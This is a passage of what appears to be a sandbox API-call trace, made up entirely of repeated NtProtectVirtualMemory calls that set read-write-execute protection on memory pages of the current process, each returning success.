BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.863] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.365] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.798] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0325.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0326.020] 